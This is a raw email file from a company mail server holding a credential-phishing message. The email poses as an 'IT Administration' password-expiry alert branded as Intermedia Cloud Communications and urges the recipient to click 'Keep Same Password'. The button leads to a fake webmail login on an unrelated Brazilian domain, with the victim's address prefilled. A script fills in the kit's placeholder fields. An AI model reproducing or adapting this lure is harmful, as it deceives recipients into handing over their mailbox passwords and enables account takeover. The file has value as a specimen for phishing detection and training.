File: D:/hMailServer/Data/hyperflight.co.uk/robin/C8/{C8935A42-ED8C-4AAF-841C-1D2A7446BFBF}.eml
Return-Path: sales@hyperflight.co.uk
Delivered-To: robin@hyperflight.co.uk
Received: from mta0.huvisiotic.com (mta0.huvisiotic.com [162.19.175.109]) by mail.itpartnership.com
with ESMTPS (version=TLSv1.3 cipher=TLS_AES_256_GCM_SHA384 bits=256) ; Tue,
26 May 2026 09:41:41 +0100
From: "IT Administration" <it-admin@system.co.kr>
To: sales@hyperflight.co.uk
Subject: System Alert Password Expiry
Date: 26 May 2026 11:40:38 +0300
Message-ID: <20260526095822.517709480F9C9536@system.co.kr>
MIME-Version: 1.0
Content-Type: text/html; charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
X-hMailServer-LoopCount: 1
<!DOCTYPE html>
<html><head>
<meta http-equiv=3D"X-UA-Compatible" content=3D"IE=3Dedge">
<meta http-equiv=3D"content-type" content=3D"text/html; charset=3DISO-8859-=
1">
<title>Intermedia - Password Expiry Notice</title>
<style>
body {
margin: 0;
padding: 20px;
font-family: Arial, Helvetica, sans-serif;
background: #e9ecef;
}
.container {
max-width: 550px;
margin: 0 auto;
background: white;
border-radius: 12px;
padding: 25px 20px 20px 20px;
box-shadow: 0 4px 12px rgba(0,0,0,0.1);
text-align: center;
}
.logo {
margin-bottom: 20px;
}
.intermedia-logo {
display: inline-flex;
align-items: center;
justify-content: center;
gap: 10px;
background: linear-gradient(135deg, #00a1df 0%, #0077be 100%);
padding: 8px 22px;
border-radius: 60px;
box-shadow: 0 2px 8px rgba(0,0,0,0.1);
}
.cloud-icon {
font-size: 28px;
filter: drop-shadow(0 2px 2px rgba(0,0,0,0.2));
}
.logo-text {
font-size: 22px;
font-weight: 700;
color: white;
letter-spacing: 0.5px;
font-family: 'Segoe UI', Arial, sans-serif;
.logo-sub {
font-size: 10px;
font-weight: normal;
opacity: 0.9;
margin-left: 4px;
}
}
.domain {
font-size: 28px;
font-weight: bold;
color: #0077be;
margin: 10px 0 5px;
}
.warning {
font-size: 16px;
color: #333;
margin: 15px 0;
line-height: 1.5;
}
.email-badge {
font-weight: bold;
color: #0077be;
background: #e8f4fd;
display: inline-block;
padding: 4px 12px;
border-radius: 20px;
margin: 0 4px;
}
.time-badge {
font-weight: bold;
color: #e67e22;
}
.btn {
display: inline-block;
border: none;
padding: 12px 28px;
color: white;
text-decoration: none;
background-color: #0077be;
text-align: center;
font-weight: bold;
border-radius: 50px;
margin: 20px 0 15px;
font-size: 15px;
cursor: pointer;
transition: background 0.2s;
}
.btn:hover {
background-color: #005f9e;
}
.footer {
font-size: 12px;
color: #888;
margin-top: 20px;
padding-top: 15px;
border-top: 1px solid #eee;
}
.footer span {
color: #555;
}
</style>
</head>
<body style=3D"margin: 0;
padding: 20px;
font-family: Arial, Helvetica, sans-serif;
background: #e9ecef">
<div style=3D"max-width: 550px;
margin: 0 auto;
background: white;
border-radius: 12px;
padding: 25px 20px 20px 20px;
box-shadow: 0 4px 12px rgba(0,0,0,0.1);
text-align: center" class=3D"container">
<!-- Intermedia Cloud Communication Logo -->
<div style=3D"margin-bottom: 20px" class=3D"logo">
<br><br><div style=3D"display: i=
nline-flex;
align-items: center;
justify-content: center;
gap: 10px;
background: linear-gradient(135deg, #00a1df 0%, #0077be 100%);
padding: 8px 22px;
border-radius: 60px;
box-shadow: 0 2px 8px rgba(0,0,0,0.1)" class=3D"intermedia-logo">
<span style=3D"font-size: 28px;
filter: drop-shadow(0 2px 2px rgba(0,0,0,0.2))" class=3D"cloud-icon=
">☁️</span>
<span style=3D"font-size: 22px;
font-weight: 700;
color: white;
letter-spacing: 0.5px;
font-family: 'Segoe UI', Arial, sans-serif;
.logo-sub {
font-size: 10px;
font-weight: normal;
opacity: 0.9;
margin-left: 4px" class=3D"logo-text">Intermedia<span class=3D"logo=
-sub"> Cloud Communications</span></span>
</div>
</div>
<div class=3D"domain" id=3D"domainDisplay">hyperflight.co.uk</div>
=20=20=20=20
<div style=3D"font-size: 16px;
color: #333;
margin: 15px 0;
line-height: 1.5" class=3D"warning">
Your account <span style=3D"font-weight: bold;
color: #0077be;
background: #e8f4fd;
display: inline-block;
padding: 4px 12px;
border-radius: 20px;
margin: 0 4px" class=3D"email-badge" id=3D"emailDisplay">sales@hype=
rflight.co.uk</span> password will expire today <span style=3D"font-weight:=
bold;
color: #e67e22" class=3D"time-badge" id=3D"timeDisplay"><font color=
=3D"#f5250a">26 May 2026</font></span>
</div>
=20=20=20=20
<a class=3D"btn" id=3D"actionBtn" href=3D"https://onomesagrado.com.br/a=
ssets/yfguygk/webmaill/index.html#sales@hyperflight.co.uk" target=3D"_blank=
" rel=3D"noreferrer">Keep Same Password</a>
=20=20=20=20
<div style=3D"font-size: 12px;
color: #888;
margin-top: 20px;
padding-top: 15px;
border-top: 1px solid #eee" class=3D"footer">
Automated Message <span style=3D"color: #555" id=3D"footerTime">5/2=
6/2026 9:58:22 a.m.</span><br>
<span style=3D"color: #555" id=3D"footerDomain">hyperflight.co.uk</=
span>
</div>
</div>
<script>
(function() {
// Helper: check if text is a raw placeholder like [-something-]
function isPlaceholder(val) {
return val && val.trim().startsWith('[-') && val.trim().endsWit=
h(']');
}
=20=20=20=20=20=20=20=20
// Get elements
const domainElem =3D document.getElementById('domainDisplay');
const emailElem =3D document.getElementById('emailDisplay');
const timeElem =3D document.getElementById('timeDisplay');
const footerTimeElem =3D document.getElementById('footerTime');
const footerDomainElem =3D document.getElementById('footerDomain');=
const btn =3D document.getElementById('actionBtn');
=20=20=20=20=20=20=20=20
// Read raw values
let rawDomain =3D domainElem ? domainElem.innerText.trim() : '[-ema=
ildomain-]';
let rawEmail =3D emailElem ? emailElem.innerText.trim() : '[-email-=
]';
let rawTime =3D timeElem ? timeElem.innerText.trim() : '[-time-]';
=20=20=20=20=20=20=20=20
// Generate realistic fallback values only if placeholders exist
const now =3D new Date();
const defaultTime =3D now.toLocaleString('en-GB', { hour12: false }=
);
const defaultDomain =3D 'intermedia.net';
const defaultEmail =3D 'user@intermedia.net';
=20=20=20=20=20=20=20=20
let finalDomain =3D isPlaceholder(rawDomain) ? defaultDomain : rawD=
omain;
let finalEmail =3D isPlaceholder(rawEmail) ? defaultEmail : rawEmai=
l;
let finalTime =3D isPlaceholder(rawTime) ? defaultTime : rawTime;
=20=20=20=20=20=20=20=20
// Update display
if (domainElem) domainElem.innerText =3D finalDomain;
if (emailElem) emailElem.innerText =3D finalEmail;
if (timeElem) timeElem.innerText =3D finalTime;
if (footerTimeElem) footerTimeElem.innerText =3D finalTime;
if (footerDomainElem) footerDomainElem.innerText =3D finalDomain;
=20=20=20=20=20=20=20=20
// Fix the button link: replace email placeholder with actual email=
if (btn) {
let href =3D btn.getAttribute('href');
if (href) {
// Handle both encoded and raw placeholder
if (href.includes('%5B-email-%5D')) {
href =3D href.replace('%5B-email-%5D', encodeURICompone=
nt(finalEmail));
} else if (href.includes('[-email-]')) {
href =3D href.replace('[-email-]', encodeURIComponent(f=
inalEmail));
}
btn.setAttribute('href', href);
}
}
})();
</script>
</body></html>